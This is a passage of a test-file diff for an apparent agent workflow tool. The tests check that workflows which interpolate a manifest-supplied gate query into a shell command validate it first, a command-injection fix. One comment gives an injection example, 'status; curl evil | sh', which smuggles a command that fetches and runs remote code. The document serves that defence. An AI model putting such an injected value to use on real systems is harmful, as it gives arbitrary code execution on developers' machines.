— a command failure routed per onError — + // and must never be readable as a block:false verdict (which would silently pass the gate). + assert.notStrictEqual(result.status, 0, 'an unknown predicate kind must fail the check COMMAND'); + }); + + test('[independence] overlay ship:pre gate resolves alongside first-party gates with its own blocking/onError', (t) => { + const fx = makeOverlayFixture(5); + t.after(() => { cleanup(fx.home); cleanup(fx.project); }); + + const result = runTools(['loop', 'render-hooks', 'ship:pre', '--raw'], + { cwd: fx.project, env: { GSD_HOME: fx.home } }); + assert.strictEqual(result.status, 0, `render-hooks must exit 0; stderr: ${result.stderr}`); + + const envelope = JSON.parse(result.stdout.trim()); + const gates = envelope.activeHooks.filter(h => h.kind === 'gate'); + + const beads = gates.find(g => g.capId === 'beads'); + assert.ok(beads, 'the third-party overlay gate must resolve as an active ship:pre gate'); + assert.strictEqual(beads.blocking, true, 'overlay gate keeps its own blocking flag'); + assert.strictEqual(beads.onError, 'skip', 'overlay gate keeps its own onError policy'); + assert.strictEqual(beads.check.predicate.field, 'blocking_open'); + + // More than one gate is active — dispatch has a genuine array to iterate, which is + // exactly what the hardcoded-capId dispatch could not do. + assert.ok( + gates.length >= 2, + `expected the overlay gate alongside at least one first-party gate, got ${gates.length}`, + ); + assert.ok( + gates.some(g => g.capId === 'security'), + 'the first-party security gate must still resolve when an overlay gate is present', + ); + }); + +}); + +// ─── 6. Every generic gate-dispatch site validates before shell use (#3559) ─── +// +// The command-injection surface fixed at ship:pre is a FAMILY property, not a site +// property: any workflow that interpolates a manifest-supplied `check.query` into a +// shell command has it. This section enumerates the family by DISCOVERY rather than by +// a hardcoded list, so a new dispatch site added later without the validation contract +// fails here instead of shipping — which is the same "hardcoded list silently misses +// members" mistake #3559 itself was. + +const WORKFLOWS_DIR = path.join(__dirname, '..', 'gsd-core', 'workflows'); + +// A manifest-supplied query interpolated into a shell command substitution. +const SHELL_INTERPOLATED_QUERY = /gsd_run check \$\{hook\.check\.query\}/; +// The charset a query must be validated against before it may be run. Stated ONCE, in the +// reference — restating it at five sites would be the drift this PR just repaired. +const VALIDATION_CHARSET = /\^\[a-z\]\[a-z0-9-\]\*\( \[a-z\]\[a-z0-9-\]\*\)\*\$/; +// The per-site mandate: every dispatch site must tell an executing agent to validate BEFORE +// it reaches a shell, and where the rule lives. +const VALIDATE_MANDATE = /Validate `check` before shell use/; + +function workflowFilesWithShellInterpolatedQuery() { + // allow-test-rule: source-text-is-the-product (#3559) + // gsd-core/workflows/*.md are shipped content executed by the agent runtime — the text + // IS the deployed dispatch contract, so the validation instruction only exists here. + return fs.readdirSync(WORKFLOWS_DIR) + .filter(name => name.endsWith('.md')) + .map(name => ({ name, body: fs.readFileSync(path.join(WORKFLOWS_DIR, name), 'utf8') })) + .filter(f => SHELL_INTERPOLATED_QUERY.test(f.body)); +} + +describe('capability gate dispatch — manifest input is validated before shell use (#3559)', () => { + + test('the discovery scan finds the known dispatch family (guards against a vacuous pass)', () => { + const found = workflowFilesWithShellInterpolatedQuery().map(f => f.name).sort(); + + // If the interpolation form is ever renamed, the scan below would silently match + // nothing and every assertion in this section would pass vacuously. Pin the floor. + assert.ok( + found.length >= 4, + `expected at least 4 workflows interpolating a manifest query into a shell command, found ` + + `${found.length} (${found.join(', ')}). A near-zero count means SHELL_INTERPOLATED_QUERY no ` + + 'longer matches the deployed form and this whole section is passing vacuously.', + ); + for (const expected of ['execute-phase.md', 'plan-phase.md', 'ship.md', 'verify-work.md']) { + assert.ok(found.includes(expected), `${expected} must be in the dispatch family, got ${found.join(', ')}`); + } + }); + + for (const { name } of workflowFilesWithShellInterpolatedQuery()) { + test(`${name} validates a manifest-supplied check.query before running it`, () => { + const body = fs.readFileSync(path.join(WORKFLOWS_DIR, name), 'utf8'); + + // `gates[].check` is not one of the four executable surfaces the install consent + // prompt discloses, so a capability consented to as declarative-only can still reach + // a shell through it. A query of `status; curl evil | sh` interpolated unquoted into + // $( ) is arbitrary code execution as the developer. + assert.match( + body, + VALIDATE_MANDATE, + `${name} interpolates a manifest-supplied check.query into a shell command but never ` + + 'tells an executing agent to validate it first.', + ); + assert.match( + body, + /loop-hook-dispatch\.md/, + `${name} must point at the reference that carries the validation rule, so the mandate ` + + 'is actionable rather than a bare warning.', + ); + assert.ok( + body.search(VALIDATE_MANDATE) < body.search(SHELL_INTERPOLATED_QUERY), + `${name} states the validation mandate only AFTER the interpolation it is supposed to ` + + 'guard; an executing agent reads top-down and would run the command first.', + ); + }); + } + + test('the reference contract states the rule for gates, not only for steps', () => { + // allow-test-rule: source-text-is-the-product (#3559) + const ref = fs.readFileSync( + path.join(__dirname, '..', 'gsd-core', 'references', 'loop-hook-dispatch.md'), 'utf8'); + + const gateSection = ref.slice(ref.indexOf('### `gate`')); + assert.notStrictEqual(gateSection.length, 0, 'the reference must carry a gate section'); + assert.match( + gateSection, + VALIDATION_CHARSET, + 'loop-hook-dispatch.md mandated in-context validation for `step` -> ref.command but omitted ' + + 'it for `gate`. That asymmetry is the root cause of #3559 and its four sibling sites: every ' + + 'gate consumer inherited an unstated requirement.', + ); + }); + + test('onError vocabulary matches what the registry and every manifest actually use', () => { + // allow-test-rule: source-text-is-the-product (#3559) + const ref = fs.readFileSync( + path.join(__dirname, '..', 'gsd-core', 'references', 'loop-hook-dispatch.md'), 'utf8'); + + // The reference documented skip/"fail"; the generated registry, every shipped manifest, + // and all four dispatch sites use skip/halt. "fail" was a value nothing could ever emit, + // so a consumer implementing the doc literally would mis-route every error case. + const declared = new Set( + realRegistry.byLoopPoint['ship:pre'].gates.map(g => g.onError).filter(Boolean)); + assert.ok(declared.size > 0, 'ship:pre gates must declare an onError policy'); + for (const value of declared) { + assert.ok( + ['halt', 'skip'].includes(value), + `registry emits onError "${value}" outside the documented {halt, skip} vocabulary`, + ); + } + assert.doesNotMatch( + ref, + /`fail` means surface the error and stop/, + 'loop-hook-dispatch.md must not document an onError value no capability can emit', + ); + }); + +});